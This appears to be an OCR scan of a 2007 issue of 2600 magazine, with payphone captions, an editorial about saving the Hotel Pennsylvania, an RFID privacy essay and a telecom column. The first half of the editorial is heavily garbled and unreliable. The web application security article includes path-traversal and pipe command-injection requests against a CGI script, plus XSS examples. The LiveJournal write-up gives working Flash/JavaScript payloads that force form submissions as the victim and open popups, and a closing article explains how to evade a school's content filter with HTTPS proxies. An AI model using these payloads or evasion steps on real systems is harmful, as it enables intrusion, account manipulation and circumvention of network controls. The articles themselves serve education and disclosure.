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Palestine. analed in the West Bank city of China. Found in the lobby of a hotel in Xiahe in
Ramullah. the Gansu Province.
Photo by Sharif Photo by Siegfried Loeffler
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South Korea. An older phone found in Seoul that  South Korea. Also in Seoul, this model only takes
takes coins and cards. cards.

Photo by Jean Photo by Jean

Got foreign payphone photos for us? Email them to payphones@2600.com.
Use the highest quality settings on your digital camera!
(More photos on inside back cover)
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Please belipvn w wien we say that we
don't indemdionadly s out 10 cause trowlle and
mayhem. | somebiv wems o adhways Find
.

W staned a hacker magazing because it
wiad @ subdect thaf was of interest bo @ numbey
of s amd there wir o void o be filled. YWe
didn't expect the fascination, fear, obsession,
and demonization that followed us, courtesy
of everyons from the media to the govemmenl,
from the Forumse 500 o high schiool eachers
and principals. B just sorf of happened that

Wy

Wit didn't ask o be theown inbo the fromt
fines of the motion picture industnds copyright
hattlos back in MO0, That abso just
bescaarse O who we were and what we belioved
b Thiere wne many thousands that the Motion
Ficture Aswociation of America oould have
taken in cour fo hla-u'r.ng e el 55 conde ooy
tharir websibes. But we somehow epitomired
everpthing the MPAA was against and this
rtade ws the perfect trget for them. Merely
v lstug Apparenily was enoiegh,

And by simply being presend o variows
piagal moments in hacker history  wheme
thare was nathing for us b dio but ypeak out
against vanous injusiices, we again found
ourselves baing propelled into a position of
achvocacy and [padership, when really all we
ware desing was continaing to make the same
praints on what hacking was and what it was
not. Locking peopls in prison for being overby
CHFOUS OF ExperiETEnting on the wrong bits of
technology was just wrong, plain and simple,
Bt was 8 point we had started our vy find isue
wiith, And since 5o few athes were saying this
ol laud, it became our fight once mone

This kind of thing never wcems B end.
Alsn in the yeor 7000 while all evis wems
o the Bepublican Mathmal Convenian in
Philadelphia, & was our own beyoul - sl
whiy was grabbed off the streets and |ocked
up wn hall o million dollars bail, changed
with liedng & chief ringleades of opposition
il only eyvibonce against him wasd sureeil-
larice ootage that showisd hin walking down
i prest falking on g cell phone, Meedles o
arte, 1k dicknt sfick and, infact, a lavesuit agains

Challenges

)

the ity for this nomsorse was quite sucoessful
Haud even that wasn'l the final chapter of the
ginry, Four years later in Rhisw York, our editor
was also taken off the strects while the Repob-
Hean Mational Convention was in that cliy
This time it seemed 1o be 3 random weep of
people who just happened 1o bo standing. on
a particular block, Again, it provoked wide-
spread outrage and condemnation, as wall as
all charges being dropped and a lawsuit which
comiinees 10 Be argued in cown o this diy. But
thero's still more. Recently a judge ordened
the Mew York Police Deparment to releasa
inlernal documerts on thise events which
they had besn frying o keep to thameles,
These documents staned 1o see the light of day
in Febriary of this vear And among the fist
to bwiy pevnalied s far is 3 memo that ouflines
whial one of their bigged foan was, ey, that's
right. Ly again. Appansrdly e NYPD wis
concerred beramse nod only was owr fayout
ariist rumoied to be in o (possiblby red
i use his phone again bt he had al
a conference directly across the street from
where the Bepublican Comeention was o he
hedd, And he had spoken oo pobential wiys of
cousing mischief and mayhem! 5o once again
we wide catzpulied to front and center, st for
discussing the things that are of interest o us
Even the location of our conferencem, held in
ihe same place since 19594, were called inin
question a5 heing provocative because they
were 50 close o the site of the Repobdican
Casfivent lan.

I all alvrcrss reachs ke 4 bad TV soript, wioam
the same charactors keep getting Liunched into
this cepter of atention week after weeh. i thal
kinad of 4 seiting, this happens because tham
ara only a certain number of characters and
il sty |ines have o b kepr inienesting and
acive. In real lile, this only serves by demon-
straie fhe theeat of actually eaching peopie
wii inay share your Jnberests and goats. Mol
cely cain vou change the course of kisiony in
accomplishing this but the fear wu instll] along
the way among the povers-fhat-he might met
also kv 3 profound effiect on the outcome,
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But now we find ourselves yet again in a
position where we have no choice but to take
a stand and help start something that could
have a profound effect on a lot of people.
And this time it goes well beyond the hacker
community. Weﬁearned earlier this year that
the site of our conferences mentioned above
- New York’s historic Hotel Pennsylvania - is
set to be demolished. As of this writing, the
only opposition to this has been a whole lot
of voices in the wilderness with no apparent
unity. So once more it appears that our
community will have to step up and hope-
fully make a difference.

Why should we care? Simple. Ever since
starting the Hackers On Planet Earth confer-
ences back in 1994, the Hotel Pennsylvania
has been our home (with the exception of
Beyond HOPE in 1997). It has three major
factors going for it: 1) Location - the hotel is
directly across the street from the busiest train
station in North America and also centrally
located in Manhattan; 2) History - the hotel
is a fascinating connection to the past, both
architecturally and in the many events and
people who have been linked together over
the decades in its vast hallways; and 3) Cost
- the relative cheapness of the hotel is what
makes it possible for us to continue to have
the conferences in New York City as well as
for our attendees from out of town to be able
to stay there.

There was one thing that was drummed
into our heads over and over again when
we were looking to start a major hacker
conference in the United States, especially in
response to our desire to have it in New York:
It was impossible. And to this day it remains
impossible that we could hold an event of
this size in a city like New York and manage
to keep it affordable. But we do it anyway. It's
because of a combination of magical ideas,
the magical people who come and build it
every two years, and the magical place that
makes it all possible. This is all most defi-
nitely worth preservin%;

In the “real word” however, people don't
think like this, It all comes down to dollars and
cents and how to make the most impressive
profit. And those in charge (namely Vornado,
the realty firm that happens to own the hotel)
felt it would be most profitable to tear down
the hotel and replace it with a huge financial
tower, Those in the finance industry would
no longer have to ride the subway downtown
to get to work. Instead they could commute
from the suburbs by train, exit Penn Station,
and simply walk across the street to their jobs.

| And everyone leaving Penn Station would
\wind.up beir&barraged with a “Times Square
Spring 20

style” wall of advertising that would replaca
the ornate entryway of the existing haotel.
So the financial industry and the advertisers
would be thrilled. But the people who visit
New York City would have one less afford-
able hotel to stay in (the nearly 2000 rooms
in Hotel Pennsylvania are often filled year
round) and one more historic structure would
be destroyed. This doesn’t even address the
overwhelming belief that such a massive
financial structure simply isn’t needed with
the entire financial district downtown being
rebuilt. Were it to be constructed, however,
there is little doubt that it would become a
heavily guarded fortress with very limited
accessibility due to post-9/11 syndrome, in
stark contrast to the open and bustling hotel
lobby that currently occupies the space.

We know the hotel isn't in the finest of
shape. In this age of “bigger is better” and
insisting that eveg« modern convenience be
within reaching distance at all times, there
are many who simply cannot handle a place
with such Old World decor. But it's still our
home and we've grown rather attached to it.
Without it, the future of the HOPE confer-
ences would be very much in jeopardy and
certainly not as convenient to get to for those
from out of town. And this is the key. The
majority of people affected by its destruction
would likely be people who don't live locally
and have probably not even heard of these
ominous plans yet. That is something we can
change.

We also have fo realize that this is so
much bigger than our own relatively small
community. There are scores of other confer-
ences and literally millions of people who
have walked through the doors and gotten
something out of the place. By linking as
many of them together as possible, we have
the potential of uniting forces and, at the very
least, speaking out loudly against losing this
hotel. It seems as if this has become our obli-
gation. And, as history has shown us, being
who you are at a particular place and point in
time is sometimes all you need.

The odds are certainly against us. And this
is likely to be a fight that were involved in
for quite some time to come. But we believe
getting involved in this could be an uplifting
experience, one where we fruly realize the
importance of individual voices brought
together in a common cause. There will be
lots more on this in the future. For now, we
hope you can join us online at http:/talk.
hope.net to discuss ways to save the hotel
fand plan for future HOPE conferences) in
a lively forum environment. And we hope
everyone can help us spread the word.

Ty e Page 5/




Understanding‘ Web

Application Security

by Acidus
acidus®msblabs.org
Most Significant Bit Labs
(http://www.msblabs.org)

Web applications are complex services
running on remote systems that are accessed
with only a browser. They have multiple
attack vectors and this article is by no means
a comprehensive guide. Today | will discuss
what web applications are, how they work,
discuss common attack methods, provide
brief examples of specific attacks, and discuss
how to properly secure a web application.

What do | mean by web application? A
web application is a collection of static and
dynamically generated content to provide
some service. Maybe it's Wikipedia providing
an ever-updating knowledge base or Amazon
providing a commerce portal. These appli-
cation can span multiple domains, such as
Wachovia's online banking system. As you
can see in Figure 1, web applications have
multiple parts. There is a program used to
access the web application known as a user
agent. There is a JavaScript logic layer which
allows very limited code to execute on the
client's machine. This is important because
sending requests across the Internet cloud to
the server is expensive in terms of time and lag.
There is a web server which has some kind of
server logic layer. This layer uses inputs from
the client such as cookies or parameter values
to dynamically generate a response. Usually
this response is composed of data stored in
a back end database. This database is main-
tained and populated by various programs
like web crawlers and admin scripts.

Web applications are not a passing fad.
Major companies like Amazon, eBay, Google,
Saleforce.com, and UPS all use complex web
applications with several deriving all their
income from them. Many more companies
are developing web apps strictly for internal
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use. The cost benefits of having an applica-
tion that is centrally managed and can be
accessed by any browser regardless of the
underline OS are simply too great to ignore.
With their place in the online [andscape
assured it is essential for hacker and security
professional alike to understand fundamental
security risks of a web application.

As you can see web applications differ from
traditional applications in that they exist on
numerous tiers and span multiple disciplines.
Programmers, internal web designers, graphic
artists, database admins, and IT admins are
all involved. It's easy for things to slip through
the cracks because people assume a task is
someone else's responsibility. This confusion
gap is ripe for vulnerabilities.

Backend
Processes

| Server Logic

}

|  Server |

[JavaScript Logic Laye
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fuslomers table (assuming it exists). This is
simply one example of SQL injection. See [1]
and (2] from more information.

SQL injection is a big problem. The Paris
Hilton T-Mobile hack didn't happen because
someone sniffed the phone’s traffic. -Mobile's
website had an interface to allow subscribers
access to their address books. This means
the website had to touch the database that
stores contact information. An attacker found
an input they could exploit and dumped out
several address books through the T-Mobile
web page using SQL injection,

Cross Site Scripting )

Cross Site Scripting (XSS) is a mechanism

to inject JavaScript into the web page that is
returned to the user. Consider tl?le simplest
example, as shown in Figure 2. The web
application has a personalized greetings
page. The key to the vulnerability is that the
input parameter name is reflected into the
page that is returned to the user. As Figure 3
shows, if | insert a block of JavaScript it too
is returned to the user. So what can do you
with JavaScript? You can steal cookies, hijack
sessions, log Eeyslrokes, capture HTML traffic

hitp:/fexample.com/hello. php?

<HTML>

</l HI:ML?

<hl>Hello there Billy!</h1>

(aka screen scrapping), and many
other things. See (5] and (6] for
more information about nasty
things JavaScript can do. See [7]
for a case study using XSS + AJAX
to make malicious requests as
another user.

XSS can also get injected
into the back end database of

Command Execution

Many times there are applications that are
executed on a web server simply by visiting
a page. For example, nslookup, whois, finger,
ping, traceroute, uptime, who, last, and cat
can be found in so-called application gate-
ways. This is where a web page receives input
from the user and passes it to a native appli-
cation, returning the output. These gateways
are quite common and were among the first
uses of web pages and CGI. Here is an actual
Per] script I've seen in the wild which serves
pages:
$res = param('file’');
open(FIN, §res);
BFIN = <FIN>;
foreach $fin (@FIN) { print "$fin\n" }

A request for "/cgi-bin/file.cgi?file=contact.
htm!" will return the contents of the file. First
of all | can see one vulnerability that isn't even
a command execution. Making a request for
"fegi-bin/file.cgitfile=../../../../. Jetc/passwd"
will give you the Unix password file. Further,
the open command supparts the use of pipes.
Pipes allow a command to be executed and
its output sent to another program. A request
for “/cgi-binffile.cgi?file=nmap

a wehsite, commonly through
forum posts, member profiles, and custom
stock tickers. This is especially nasty since
the XSS will affect many more people. There
are many avenues to launch XSS attacks. [8]
provides a detailed look at the different XSS
mechanisms and defensives.

As you can see XSS is an extremely
complex topic and I've only brushed the |.
surface. Due to technologies like AJAX and
the fact that everyone is using standards
compliant browsers the danger of XSS is
much higher than it was when XSS was origi-
nally discovered in 2000. For some of the
really nasty stuff, see my Black Hat Federal
presentation [9].

Defensives

Almost all web application attacks can
be stopped by validating or filtering the
inputs of the application. SQL injection isn't
possible if your numeric inputs only contain
numbers. XSS attacks are not possible if you
don't allow a subset of a markup language in
your input. A well placed regex can save you
a lot of headache if it’s in the proper place.
Just because you have client side JavaScript

-v|" will execute nmap on the
server if it exists! This happens
because the open function will
execute the nmap command
for you and the pipe means the
open function reads the output
from "nmap -v" as if it were a
file. See [3] and [4] for more

hitp:/fexample.com/hello. php?name=;

RIPT>badness...

<Hl>Hello there <SCRIPT>badness. ..

<[HTML>

\information.
Page 8
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to validate input values doesnt mean you're
protected. | can always directly connect to
your application and completely bypass your
filters. Always implement filters on the server
side! Your mantra should be "never trust
anything | get from the client.” Everything you
get from the client including cookies, query
strings, POST data, and HTTP headers can all
be faked. Always make sure you implement
some kind of length restriction on your field
too. Otherwise someone might implement
a filesystem on top of your web application
[10]!
Conclusions

I hope this article served as a nice primer
on all the issues surrounding web application
security. It's a complex field and | encourage
you to check the cited works to learn more.

There is no group, there is only code.
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Radio Freak-me-out Ide

by Kn1ghtlord
Kn1ghtiord@kn1ghtlord.org

RFID has become something of a hot
topic in the hacking world. There have been
multiple presentations on security and privacy
of RFID and also the technology behind it.
This article is designed to be a what-if type
scenario on what RFID is potentially capable

of and where the technology is heading.
RFID stands for Radio Frequency lden-
\tification which obviously means identi-
Spring 2007

fying objects using radio frequency. Current
implementations include asset management,
inventory contral, inventory tracking, access
control, and entity identification. The first
three are usually implemented in a busi-
ness environment to track inventory from
one location to another or to monitor asset
activity to isolate theft situations and problem
areas. These implementations of RFID are
very efficient and perform a valuable task for
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a business. The fourth example is not so good.
RFID is being changed into a new type of ID
for people and animals to be used instead of
a hard-copy form of identification. This may
seem convenient for people and they don’t
see why this is bad. There are many possi-
bilities for this technology to turn our world
upside down and allow for Big Brather to
truly manifest itself.

Currently a human being can receive an
implanted RFID chip that stores an identifica-
tion number that associates them with infor-
mation in a database. This can be anything
from personal data such as name, address,
and birth date to medical history, financial
information, family information, etc. The
cost of storage space now is so cheap that it
wouldn't be out of the question to store just
about every type of information on any one
person so that any organization can utilize
the technology imbedded in said person. If
you don’t get where | am going with this then
think a massive database with information on
every person that has an implanted tag. Now
you may say what is the big deal? There are
already databases out there with our informa-
tion, Why should ane more be any different?
Well the preblem is this. Any database that
contains that vast amount of information
has to be controlled by someane. More than
likely that someone will be the government.
This may not seem so scary either. But wait,
there is more.

RFID in its current implementations has
been proven to be a reliable solution for
tracking inventory. Change the word inven-
tory to humans and you see the problem. The
technology does not change from one imple-
mentation to the other. The data on the tag
may change somewhat, but the fundamentals
do not. So what is stopping the government
from placing readers on every government
owned piece of property and monitoring
the activities of everyone with an implanted
tag? Not a whole lot. Right now the cost for
a reader is about $40 to $120 for a LF (low
frequency) module. The government, being
its omnipresent self, can get these devices for
less or manufacture them for less and tailor
the technology to act as it wishes. The cost
for an implant is around $20 for the tag and
the cost of implantation which can vary from
one doctor to another. There is not a whole

The possibilities are then endless for the\
data and scenarios that the government
can observe. Not only can the government
abserve this information but so can anyone
else who can figure out how to get the data
off the tags. Since our country is basically
run by huge retail outlets it is not too far of
a stretch to see product marketing analysis
based on human purchase activity which is
all based on RFID technology. Picture walking
into Wal-Mart and having the racks scan your
RFID tags and create some kind of notice to
you to point on items that you prefer based
on past purchase history. You regularly buy
black cotton t-shirts in size large so the rack
will recognize this data and highlight the rack
with the black cotton t-shirts with little lights
attached to all the hangers that flash as you
approach. The same can be said about shoes,
You wear a size 13 so it shows you only the
size 13 shoes in stock. Now take it one step
further and say you purchase one of those
pairs of shoes. The shoes themselves have an
RFID tag imbedded in them so now not only
can we see where you are going based on the
implanted RFID tag, but we can also see that
you bought your shoes from Wal-Mart and
produce Wal-Mart advertising on interactive
billboards as you pass by.

When you walk into a coffee shop they
will already start making your favorite coffee
because they got that information from your
tag. This may seem cool, but then they ask
you how your mother is doing because they
saw on the report that she had come down
with an illness and had to go to the hospital
the day before and they now have her taking
penicillin for an infection. That thought in
itself is pretty scary. You don’t want your local
coffee house to know everything about you,
do you? How can you even make a small
decision like whether you want cream or not
if they already know based on trends they
have analyzed on your activity for the last
fiscal year?

When everyone becomes a number we
will see the true possibilities of this tech-
nology. A wealth of knowledge is attached to
you and that information is accessible by way
too many people for it not to be a little scary.
There are good things that can come out of
this, but is convenience better than privacy or
free will? | think not.

i from doing this.
\I\O’tl‘:éoppmg the government g
el0
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by Zaphraud

This article will focus on a clickless SWF
XSS exploit of LiveJournal.com and the
importance of:

-Learning from the past.

-Auditing all errors to at least determine
what caused them.

-Last but not least, the ultimate form of
code auditing: Using your program while
intoxicated, to simulate a "regular” user.

As of 6-October-2006 Livejourpal staff
closed this vulnerability in the video template
systemn.

Recent Background

A few months ago, Livelournal joined other
hlogging sites in supporting video content for
its members. initially, the template system
was used. Later, support was also added
for simply pasting OBJECT-style code from
Youtube or Photobucket. Focus here is on
the template system, which works as follows
using a URL pasted in from one of the two
allowable services, YouTube or Photobucket:
<LJ TEMPLATE=NAME>http://www.youtube.
= com/watch? v=d3PyLe6siVE</LJ-TEMPLATE>

The very first thing that crossed my mind
when | saw this was "Gee, | bet they are only
checking domain names." | proceeded to
post an entry on August 2nd featuring a small
Mozilla banner that | had uploaded to Photo-
bucket for the purpaose of testing this. The post
is at acpizza.livejournal.com/499638.html
and uses the following snippet:
<lj-template name="video">http://img.
=photobucket .com/albums/v510/zaphraud/
wmisc/mozilla.swf</Lli-template>

On  13-September-2006, | discov-
ered a hilarious meme while drunk and
posted another entry at acpizza.livejournal.
com/501921.html and made the mistake of
putting quotes around the URL, as follows:
<lj-template name="video">"http://img.
=photobucket.com/albums/v510/zaphraud/

wFunny/longcat.swt”</1lj~template>

It didn't work and | edited it to fix it. Bear
in mind that | was drunk, so once | figured
out what | did wrong by looking at previous
examples, is it any surprise that | ended up
with:
<lj-template name="video">http://img.
=photobucket.com/albums/v510/zaphraud/
=Funny/longecat.swi"</lj~template>

after "fixing" the problem? Notice 1 drunk-
enly left a quote at the end?

What happened next is key: Instead of
properly breaking with the normal Live-

Journal error when HTML is all screwed up
[Error: Trreparable invalid markup ('what-
ever was bad') im entry. Owner must fix

manually. Raw contents below.], | Saw the
word OBJECT on one side and a quote and
a "> on the other side, with a working video
in the middle, presumably from the EMBED
tag.

Yes, as it turns out from viewing the
source, it was possible to pass parameters
to the flash. Initially | played with this in the

following manner:

<lj-template name="video">http://img.
wphotobucket.com/albums /v510/zaphraud/
wFunny/zeldazv0.swf " height="1"width="1</
w]j-template>

Spaces in the URL are disallowed.
However, by quoting parameters, separa-
tion of arguments is preserved. This one pixel
"videQ" is actually a hummed rendlition of
the Zelda theme song, which as you can
imagine is quile capable of making people
confused when it ends up posted in a Live-
Journal community, or a message comment,
as there is not really any way to tell where
exactly it came from short of viewing the
source. At some point, a photobucket-hosted
meatspin.swi was posted to a community, but
a moderator deleted it rapidly.

Perhaps because of people getting used
to MySpace profiles that are every bit as
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(a;moying as late 1990s Geocities web pages, abuse of this function went underreportedj
Clearly, something larger was needed in order to get this problem fixed. It was time to reopen
a can of Exxon Seal Remover....

<lj-template name="video">http://img.photobucket.com/(some url).swf"height
=="]1"width="1"AllowScriptAccess="always</lj~template>

The AllowScriptAccess tag allows javascript to be run from flash.

| downloaded a trial version of Flash 8 and struggled with this monster application’s
awkward interface until | figured out where [ needed to drop my load, after which it became
extremely simple.
getURL( " javascript:document.write('<form method=post name=esr2006
action=http://www.livejournal.com/interests.bml><input type=hidden
name=mode value=add><input type=hidden name=intid value=456049><input
type=submit value=ESR></form>');document.esr2006.submit();");

It basically uses a single URL in order to write a little HTML form, then click an the submit
button. After it ran for a couple of hours in a popular but much disliked community, | shut it
off and tried some other things.

Another person proved it possible to write a posting worm, in spite of LiveJournal’s separa-
tion of domains, because since that time they have added another feature, livejournal.com/
portal/, that shows "friend’s entries" on the main livejournal site which made it possible to use
javascript to manipulate the new post page, located at livejournal.com/update.bml. This code
was never released into the wild, and was only tested in a sterilized form.

The following code was used by a troll, apparently an obese orange cat, posting in the
"proanorexia” community:
getURL(" javascript:document.write('<html><body><script language=\
"JavaScript\"> function rUrl() { var cdate = 0; var sex = 0; targurl = new
Array(4); targurl[0] = \"Donut_Girl\"; targurlfl]} = \"Ronders\"; targurl{2]
= \"Andikine\"; targurl(3] = \"Shay\"; var ran = 60/targurl.length; cdate
= new Date(); sex = cdate.getSeconds(); sex = Math.floor(sex/ran); return()
"http://encyclopediadramatica.com/index.php/\" + targurl[sex]); } function
PopupMe( ) {myleft=100;mytop=100;settings=\"top=\" + mytop + \",left=\"

+ myleft + \",width=900,height=800, location=no,directories=no,menubar
=no,toolbar=no,status=no,scrollbars=yes,resizable=yes, fullscreen=yes\

" ;PopupWin=window.open(rUrl(),\"PopupWin\", settings);PopupWin.blur();}
</script><form method=post name=esr2006 action=http://www.livejournal.
com/interests.bml><input type=hidden name=mode value=add><input
type=hidden name=intid value=456049><input type=submit value=ESR></
form></body></html>'); PopupMe(); document.esr2006.submit();");

This is the final known example of this exploit in a functional form, which not only
made users interested in Exxon Seal Remover, but then triggered an aggressive
popup of one of four fucked-up-people pages from encyclopedia dramatica.

What can we learn from the past, with respect to development and security? At first glance,
it would appear that this is just a more advanced version of the same damn thing that happened
with Exxon Seal Remover in 2001 (see http://www.livejournal.com/tools/memories.bml?user
=acpizza&keyword=Exxon+Seal+Remover+bugfix.) where image tags weren't being properly
filtered and allowed for manipulation of the user’s interests, or, in the 21-January-2003 entry,
to launch the user’s mail client with a shocking message (it initially said something else).

On the other hand, one has to take into account reality, something we hackers often over-
look. While only having a day or two of significant downtime in the last half dozen years,
LiveJournal.com has been completely overtaken in popularity by the bug-ridden Swiss cheese
that is MySpace.com, and that's because MySpace.com used the same philosophy that Micro-
soft has used in all their products (and perzaps until recently with their OS): Get it working,
now. Fix it when it breaks. In a world with no real corporate responsibility, fixing security holes
before they are exploits or spending time creating quality code is a losing business model. That
saddens me deeply, but that's an unfortunate reality.

Kudos to the 805 and the 602.
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Greetings from 30,000 feet, and welcome
to another action-packed episode of the
“Telecom Informer!” It's late February and
my little project in Spencer, lowa just ended.
Thanks to the money | made, I'm winging
my way over the Tasman Sea - on an Air
New Zealand flight between Wellington and
Melbourne, Australial

So what was happening in Spencer? Fun
stuff! Too bad it's over. If you're a regular
reader of my articles, you've probably heard
of access charges and the Universal Service
Fund, aka USF. If not, here's a quick refresher:
long distance calls have several chargeable
components, which are built into the few
cents per minute (or less) you pay to your long
distance carrier,

When you make a long distance call, your
local exchange carrier (LEC) delivers the call
to your long distance carrier at the tandem. For
this, they charge a small fee to the long distance
carrier, usually a fraction of a cent per minute.
Your long distance carrier takes the call over
their petwork to the nearest tandem switch to
the call destination, where a termination fee is
paid to the LEC on the other end. This is usually
also only a fraction of a cent per minute, but
in certain high cost rural areas, it can be over
ten cents per minute. These charges are called
"access charges” and they're the reason why
long distance calls cost money and Internet-
only VolP calls are free.

For a long time, carriers such as Interna-
tional Telecom Ltd. (based in Seattle, WA)
have taken advantage of access charges by
hosting free conference bridges, chat lines,
and other services - anything that generates a
lot of inbound traffic. You can get free unified
messaging from k7.net, free teleconferences
from mrconference.com, and even free dial-
up [nternet service from nocharge.com (in the
Seattle and Boston areas). Free international
calls, however, hadn't been offered until
someone got a little creative in Spencer, lowa.

Why Spencer? It's located in the remote
lowa Great Lakes region. It's very expensive
to provide local service to this rural area and

access charges are, as you might imagine,
correspondingly high. However, thanks to
USF grants Spencer has plenty of fast Internet
connectivity. VoIP termination to many foreign
countries, meanwhile, is incredibly cheap, so
long as you're terminating to land lines. So you
can probably see where this is going. A simple
game of arbitrage! Call nearly anywhere in the
developed world (well, land lines in about 40
countries actually) for only the cost of a phone
call to lowa! Effectively, if you had a cellular
plan offering unlimited night and weekend
minutes, you could make unlimited off-peak
international calls. And done right, anyone
offering this service could make a half cent per
minute or more, splitting revenues with a local
pariner in Spencer,

Well, the implementation worked beauti-
fully. The soft PBXs handling the calls were
lean, mean, moneymaking machines. Unfor-
tunately, | hear this really ticked off the long
distance carriers. Rumor has it they started
putting pressure on NECA, the FCC, and
anyone who would listen. Presumably under
the mounting pressure of legal threats, our
partner in lowa pulled the rug out from under
us. It was fun while it lasted though, because
prank calling random people in Hong Kong at
two in the moring was a lot more interesting
than most of the calls that pass through my
central office.

After the past couple of months' craziness
{(we were terminating over 10,000 minutes per
hour to China alone), | needed a break - at
least until | can dream up a better idea. So 1
took the opportunity to visit the lovely south
island of New Zealand, Of course, | checked
out the telecommunications landscape as
well as the glaciers, mountains, and beaches.
New Zealand telecom is in transition, in some
areas more liberalized than others but rapidly
modernizing nonetheless.

Cellular services are the unexpected dino-
saurs - still a duopoly, as was the case five
years ago on my last visit. Vodafone operates
GSM with EDGE and GPRS data service and
Telecom NZ operates COMA (3G 1xEV-DO
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(service is offered in major metropolitan areas,
but small outlying areas still have only 15-95
coverage - not even 1xRTT). Wireless service
is insanely expensive by U.S. standards.
Incoming calls are billed on a "caller pays"
basis. Cellular phones are all in special area
codes in the 02x series and it's outrageously
expensive to call anything in these area codes.
You can literally set up a three-way call from
a land line between China, New Zealand,
and the U.S. for less than one third the cost
of making a local call to a mobile phone in
Auckland. (For example, from a payphone
focal calls to a mobile phone cost NZ$1.20
per minute.)

When | last visited, Telecom NZ was
beginning to offer DSL services. A 64Kbps/
128Kbps line with metered bandwidth started
at about NZ$70 per month, and the price
went up sharply depending upon how much
data you transferred. Competition has, fortu-
nately, driven prices down. New Zealand has
adopted a similar regulatory approach as the
U.S., unbundling the DSL and Internet compo-
nents. It has worked and broadband prices are
fairly reasonable; 128Kbps/4096Kbps service
runs about NZ$50 per month. However, there
is a vague "fair use policy" attached to these
plans. Basically, if you run peer-to-peer appli-
cations, bad things will happen (such as throt-
tling, traffic shaping, and other QoS measures).
From most providers, for about NZ$120 per
month, you can get 200GB of transfer that is
not subject to the same QoS restrictions.

WiFi is beginning to pop up in more
places, although it's not nearly as common
as in North America. Unfortunately, Kiwis try
to charge for it nearly everywhere the service
is available to the public - usually at outra-
geous rates and with heavy filtering. | sought
out unsecured access points instead - SSID of
LINKSYS, anyone?

While my CDMA handset was able to roam
in New Zealand, the cost of doing so was
$2.19 per minute - prohibitively expensive for
all but billionaires. | opted to let calls go to
voice mail instead, and | was pleased to see
that Caller ID and incoming SMS were deliv-
ered correctly. Payphones were a much more
economical means of communicating. Unfor-
tunately, there isn't any one best way to make
a call from a payphone in New Zealand, so
this required some research and creativity.

The easiest way to call from a payphaone
is to buy a Telecom NZ prepaid calling card.
In fact, if you're calling anything other than
a toll-free number, it's the only way to make

alls from a payphone. | didn't see a single

C
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payphone on the entire south island that).
accepted coins. Unfortunately, using Telecom
NZ is also one of the most expensive ways ta
call from a payphone, and is only practical
for local calls (which are untimed and cost i
NZ$0.70).

Telecom NZ prepaid calling cards are sold
at nearly every retail outlet. They have smart
cards on them, and work similarly to the |
QuorTech Millennium stored value smart cards |
(still available from Bell Canada, although most |
ather LECs in North America have given up on |
them). You stick it in the slot, the remaining
value is displayed on the console, you dial,
and the diminishing value is refreshed each |
minute as your call progresses.

Using a prepaid calling card purchased |
in the U.S. is another option. Costco sells an
MCI calling card that can be used for inter- |
national origination. However, the rates are
about US$0.35 per minute for calls back to
the U.S., and are nearly US$1 per minute for
calls within New Zealand. While sometimes
good for short {one to two minute) calls from
payphones, it was prohibitively expensive to
use these for long calls. The toll-free country
direct numbers in New Zealand are 000-912
for MCI, 000-913 for AT&T, and 000-999 for
Sprint. These numbers can be used for making
collect calls, and all of the carriers will transfer
you to their respective business offices as
well (since Verizon owns MCI now, MCI can
transfer you to Verizon Wireless customer
service - handy if you're having trouble with
your international roaming service).

Finally, there is a burgeoning industry in
third party VolP-based prepaid calling cards,
with rates at about NZ$0.04 per minute.
Of course, there's a catch: you have to dial
through a local gateway and, being VolP,
the quality can sometimes be inconsistent.
| ended up carrying two calling cards - one
Telecom NZ card used to connect to the local
gateway and a separate prepaid calling card
to call from there to my final destination. You
can make multiple consecutive calls without
redialing the gateway number, which means
you only pay Telecom NZ for one call. | used
a GoTalk card, which offered excellent call
quality and had local access numbers nearly
everywhere in New Zealand.

Well, the captain informs me that it's time
to put away portable electronic devices, so
it's time to bring this issue of the “Telecom
Informer” - and my laptop - to a close. Next
stop, the land of kangaroos, wallabies, and
Telstra!

——
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by Major Lump
MajorLump@hotmail.com

"Yes, no, maybe so," goes the childhood
phrase. My friends and | tock great delight
in endlessly repeating what we thought was
such a clever little rhyme. For the hacker,
however, this phrase rings particularly true.
System administrators often think in terms of
hlack and white (the "yes" and "no") while the
hacker sees shades of gray (the "maybe so").
The average computer user often assumes he
cannot outsmart or outthink the trained profes-
sional. When stacking the teenage power user
against the professional system administrator,
it would seem the administrator would have
the advantage. Not so. The gray scale always
defeats the black and white.

I was recently surfing the Internet at my
school when | decided to pay a visit to 2600,
com. | typed in the URL, pressed enter, and
waited for the page. Rather than the green
2600 logo, a blue "Websense" logo stared
me in the face. It turned out that all hacking
related websites are blocked, as well as other
“inappropriate" material. Since | attend a
rather liberal, prestigious prep school (no, I'm
not a snob), | was surprised that the system
administrator governed with such an iron fist.
Surely a school that encourages freedom of
speech would not use a content blocker and
thus stoop to the level of many foreign govern-
ments (the ones we shunj. | knew | needed to
find a solution to the problem and regain my
freedom.

Google, as many hackers know, is a
great information miner. | quickly directed
my browser to Google and searched under
"hacking websense". The tenth hit (Security-
ForumX - A workaround to Websense) did the
trick. Nicely outlined in front of me was a hack
for avoiding the watchful eye of Websense. |
learned, from reading the article, that the
Websense filter does not monitar https connec-
tions (which use the SSL protocol). | am not
sure exactly why but | suspect that it is either
due to the encryption (SSL) or the protocal
(SSL uses port 443 rather than port 80). Either
way, a user can access a proxy through an
https connection and thus liberate their weh
browsing habits. After trying a few proxies,
my favorite was https://www.proxyweb.
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=net, but others include MegaProxy Proxify
(https://megaproxy.com} and Proxify
(https://www.proxify.com). For a list of
great proxies and other goodies visithttp: //
=WWW.proxyway.com/www/free-
proxy-server-list.html, http://
=tools.rosinstrument.com/proxy/,
or just GGOF]E for it ("free proxies +
https" will do the trick).

There is another hack or workaround
for extracting information that is blocked by
a filter. After outlining the proxy hack, the
following concept seems a little quaint. But if
the https/SSL proxy does not work, this primi-
tive hack can be an effective last resort. If you
want to get a small fact or a tidbit of informa-
tion from a specific, blocked website, you
can use Google's "site:" operator to search the
website. After retrieving the results, Google
includes two lines of text under the link to
each hit. Normally, these tidbits of informa-
tion would be blocked since they originate
from a blocked website. However, Google's
results can still paraphrase small sections (two
lines) of the target site. The more specific your
search terms, the more pertinent the informa-
tion returned. For example, let’s say | would
like to find the email address of 2600.com's
webmaster. Normally you would go to 2600.
com to get this information, but seeing that |
am on a filtered network, the site is blocked.
However, | can Google this search term:
"site:2600.com email + webmaster”
and the second hit gives me the email address:
webmaster@2600.com. This hack's major
stumbling block is, of course, that only
small tidbits of information can be retrieved,
However, in dire situations this workaround
can be a lifesaver.

Since network filtering is a major issue and
affects people all over the world, there is a
plethora of online resources discussing hacks
